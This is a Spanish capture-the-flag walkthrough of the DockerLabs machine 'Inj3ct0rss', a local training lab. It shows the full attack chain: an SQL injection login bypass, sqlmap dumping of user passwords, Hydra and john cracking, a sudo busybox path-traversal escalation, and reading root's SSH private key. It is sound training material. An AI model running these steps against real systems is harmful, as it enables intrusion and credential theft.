> For the complete documentation index, see [llms.txt](https://novahacking.gitbook.io/anonymous17/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://novahacking.gitbook.io/anonymous17/ctf/dockerlabs/inj3ct0rss.md).
# Inj3ct0rss
Datos
* Máquina -> Inj3ct0rss
* Dificultad -> Medio
* Creador -> [d1se0](https://github.com/D1se0)
Como primer punto, luego de desplegar nuestro laboratorio de Dockerlabs, enviaremos una pequeña traza icmp mediante el comando `ping`, con el fin de confirmar que tenemos conectividad con dicha máquina y además darnos una idea del sistema operativo que posee nuestra máquina víctima.
```bash
ping -c 1 172.17.0.2 -R
```
**Resultado**
```bash
PING 172.17.0.2 (172.17.0.2) 56(124) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.116 ms
RR: 172.17.0.1
172.17.0.2
172.17.0.2
172.17.0.1
--- 172.17.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.116/0.116/0.116/0.000 ms
```
Como resultado podremos ver que si tenemos conectividad con la máquina víctima y además mediante su **TTL** que en este caso es de 64 podemos darnos una idea de que nos enfrentamos a una máquina **Linux**, el siguiente paso es crear nuestras carpetas de trabajo con el comando `mkt` y movernos a la carpeta `recognition/nmap` donde aremos nuestro escaneo exhaustivo con la herramienta `nmap`:
```bash
nmap -p- --open --min-rate 5000 -sSCV -v -n -Pn -oN targeted.txt 172.17.0.2
```
**Resultado -**** ****`targeted.txt`**
```ruby
# Nmap 7.95 scan initiated Sun Jul 13 21:43:10 2025 as: nmap -p- --open --min-rate 5000 -sSCV -v -n -Pn -oN targeted.txt 172.17.0.2
Nmap scan report for 172.17.0.2
Host is up (0.0000030s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 fd:f8:90:30:73:b2:51:20:2d:cb:7a:77:67:69:dc:e5 (ECDSA)
|_ 256 ad:54:3f:1a:45:7c:b5:97:fb:5b:a8:fb:63:1d:1d:0b (ED25519)
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-title: Inj3ct0rs CTF - P\xC3\xA1gina Principal
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.58 (Ubuntu)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jul 13 21:43:18 2025 -- 1 IP address (1 host up) scanned in 8.00 seconds
```
`nmap` nos reporta **2** puertos abiertos: **22** el cual corre un **ssh** y **80** el cual corre un servicio **http**, la versión de **ssh** está actualizada, por lo tanto, no podemos hacer nada de momento, en cuanto al servicio **http** solo podemos ver el título de a página, los métodos que soporta y la versión de Apache, por lo tanto, nuestro siguiente paso será ver que nos ofrece dicho sitio web:
**Página web**
Como podemos notar en la imagen, es un sitio web con retos para aprender ciberseguridad ofensiva, nos da una introducción breve a la página web y además nos menciona las características de los CTF, por último nos da 2 opciones, iniciar sesión o registrarnos, procederemos a registrarnos como primer paso y luego iniciaremos sesión:
**Credenciales:** `Usuario: anonymous17 - Contraseña: 123456*`
Luego de ingresar nuestras credenciales somos redirigidos a `http://172.17.0.2/content_pages_hidden/welcome.php`, en esta página encontraremos información adicional sobre el sitio web, mención a restos que están disponibles, pero los enlaces a dichos retos están caídos, en dichos retos se menciona de primero **SQL Injection** y en la primera página web que vimos para registrarnos e iniciar sesión, también se menciona **SQL Injection**, en este caso al enfrentarnos a un CTF, podemos darnos a la idea de que son pistas que nos dan, para probar si la página es vulnerable o no lo primero que are es **cerrar sesión** y dirigirme a **iniciar sesión**, pero esta vez no usando mis credenciales, más bien usaré una expresión de **SQL** que nos ayuda a identificar si el sitio web es vulnerable o no:
```sql
' OR '1'='1
```
Al colocarlo tanto en usuario como en contraseña, la página nos redirigirá a `welcome.php` confirmando que el campo, si el vulnerable a **SQL Injection**, podemos seguir haciendo inyecciones manuales, pero en este caso reforzaré conceptos de la herramienta `sqlmap`:
Si estamos frente a un inicio de sesión o un simple formulario que ya sabemos que es vulnerable, podemos usar el siguiente comando de `sqlmap`:
```bash
sqlmap -u "http://172.17.0.2/login.php" --forms --dbs --batch --level 5 --risk 3
```
* `--forms`: Especificamos que el objetivo es un formulario.
* `--dbs`: Queremos saber el nombre de las bases de datos existentes en el servidor.
* `--batch`: Le damos permiso a `sqlmap` de tomar decisiones predeterminadas sin solicitar nuestra confirmación.
* Los últimos 2 parámetros nos dan mayor agresividad, lo cual en este caso no importa, ya que estamos frente a un **CTF**.
En el **resultado** podemos analizar las siguientes partes más sobresalientes:
```js
[22:26:38] [INFO] testing connection to the target URL
[22:26:38] [INFO] searching for forms
[1/1] Form:
POST http://172.17.0.2/content_pages_hidden/db.php
POST data: username=&password=
do you want to test this form? [Y/n/q]
> Y
```
Una conexión exitosa con el objetivo y un reconocimiento exitoso de 2 campos vulnerables, el cual son explotados para más adelante darnos información sobre la base de datos y lo que hemos solicitado,
```js
---
Parameter: username (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
Payload: username=SSyP' OR NOT 1229=1229-- AnDk&password=XOsk
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=SSyP' AND (SELECT 4374 FROM (SELECT(SLEEP(5)))QqUk)-- jeNK&password=XOsk
---
```
En esta parte podemos obtener mayor información sobre la base de datos y el `Payload` que se está usando y por último podremos encontrar lo que solicitamos:
```js
available databases [5]:
[*] information_schema
[*] injectors_db
[*] mysql
[*] performance_schema
[*] sys
```
El nombre de las diferentes bases de datos existentes en el servidor, aunque hay más parámetros interesantes que podemos usar para indagar en este servicio de `mysql`, con fines prácticos y por descarte, solo llama la atención el nombre de una sola base de datos: `injectors_db`, por lo tanto, usaremos el siguiente comando:
```bash
sqlmap -u "http://172.17.0.2/login.php" --forms --batch --dump --level 5 --risk 3
```
**Resultado importante:**
```js
Database: injectors_db
Table: users
[5 entries]
+----+-----------------------------+-------------+
| id | password | username |
+----+-----------------------------+-------------+
| 1 | loveyou | root |
| 2 | chicago123 | jane |
| 3 | password | admin |
| 4 | no_mirar_en_este_directorio | ralf |
| 5 | 123456* | anonymous17 |
+----+-----------------------------+-------------+
```
Al final del todo podremos observar el nombre de la base de datos, el nombre de la tabla y los 5 datos que poseen cada columna y como podemos apreciar uno de esos datos, es el nombre de usuario y contraseña que habíamos creado para ingresar al sitio web, podemos guardar esta base de datos en un archivo `txt` dentro de `content`, luego podemos crear 2 archivos uno de usuarios y otro de contraseñas y por último podríamos usar `Hydra` y hacer fuerza bruta con un comando como el siguiente:
```bash
hydra -L usuarios.txt -P contraseñas.txt ssh://172.17.0.2 -t 4 -vV
```
Pero al final no obtendremos un resultado positivo, ya que en esta base de datos nos dan otra pista, el usuario `ralf` como contraseña tiene `no_mirar_en_este_directorio`, lo cual es muy sospechoso y al mencionar `directorio` lo primero que are es buscar si existe un directorio con este nombre:
Y como podemos ver en la imagen, si existe, dicho directorio contiene un comprimido `.zip` el cual descargamos y movemos a `content`, a la hora de descomprimir podremos notar que el `zip` está protegido con contraseña:
```bash
unzip secret.zip
```
**Resultado**
```js
Archive: secret.zip
[secret.zip] confidencial.txt password:
password incorrect--reenter:
skipping: confidencial.txt incorrect password
```
Podemos notar el contenido de dicho, `zip` el cual es un `txt` llamado `confidencial.txt`, pero como no sabemos la contraseña, no podemos ver el contenido de dicho `txt`, por lo cual recurriremos a `zip2john`:
```bash
zip2john secret.zip > hash.txt
```
**Resultado**
```js
ver 2.0 efh 5455 efh 7875 secret.zip/confidencial.txt PKZIP Encr: 2b chk, TS_chk, cmplen=132, decmplen=177, crc=D2FD3E9E
```
Con `zip2john` podremos obtener el hash de la contraseña que protege este `zip`, ahora podemos usar herramientas como `john` para hacer fuerza bruta a esta contraseña:
```bash
john --wordlist=/WordLists/rockyou.txt hash.txt
```
**Resultado**
* Contraseña: `computer`
Descomprimimos `secret.zip`:
```js
Archive: secret.zip
[secret.zip] confidencial.txt password:
inflating: confidencial.txt
```
**Contenido de** -> `confidencial.txt`
```js
You have to change your password ralf, I have told you many times, log into your account and I will change your password.
Your new credentials are:
ralf:supersecurepassword
```
Obtenemos un usuario y contraseña, por lo tanto, procederé a conectarme vía `ssh` usando `pwncat-cs`:
```bash
connect ssh://ralf:supersecurepassword@172.17.0.2
```
> Comando ejecutado dentro del `cli` de `pwncat-cs`.
**Resultado**
Ahora somos el usuario `ralf` y tenemos acceso parcial al sistema, nuestro objetivo será obtener los máximos privilegios, o sea convertirnos en `root`, ejecutando comandos básicos de reconocimiento para escalada de privilegios obtendremos los siguientes resultados:
Ya sea mediante módulos de `pwncat-cs` o enumeración manual obtendremos el mismo resultado, el usuario `ralf` puede ejecutar `/usr/local/bin/busybox /nothing/*` como el usuario `capa`, para saber como aprovecharnos de eso iremos a `searchbins` y usar el siguiente comando:
```bash
searchbins -b busybox -f sudo
```
**Resultado**
Sabiendo esto, la forma correcta de explotar este privilegio, teniendo en cuenta que tenemos como limitante ejecutar comandos dentro de `/nothing/` podemos aprovecharnos de que utilizan un `*` al final, el cual nos permite retroceder varios directorios y ejecutar por ejemplo `sh`:
```bash
sudo -u capa busybox /nothing/../../bin/sh
```
**Resultado**
Ahora somos el usuario `capa`, en su directorio `home` contiene un `txt` con su nombre de usuario y contraseña:
```js
capa:capaelmejor
```
siguiendo con la enumeración usando `sudo -l` notamos lo siguiente:
Podemos usar el comando `cat` con privilegios elevados, sabiendo que `ssh` esta activo podemos probar si `root` tiene una llave privada con el siguiente comando:
```bash
sudo cat /root/.ssh/id_rsa
```
y efectivamente podremos ver su llave privada, de tal modo que podríamos robarnos esa llave y convertirnos en **root** con los siguientes comandos:
```bash
sudo cat /root/.ssh/id_rsa > id_rsa
chmod 600 id_rsa
ssh -i id_rsa root@127.0.0.1
```
**Resultado**
> Con esto podemos dar por concluida esta maquina.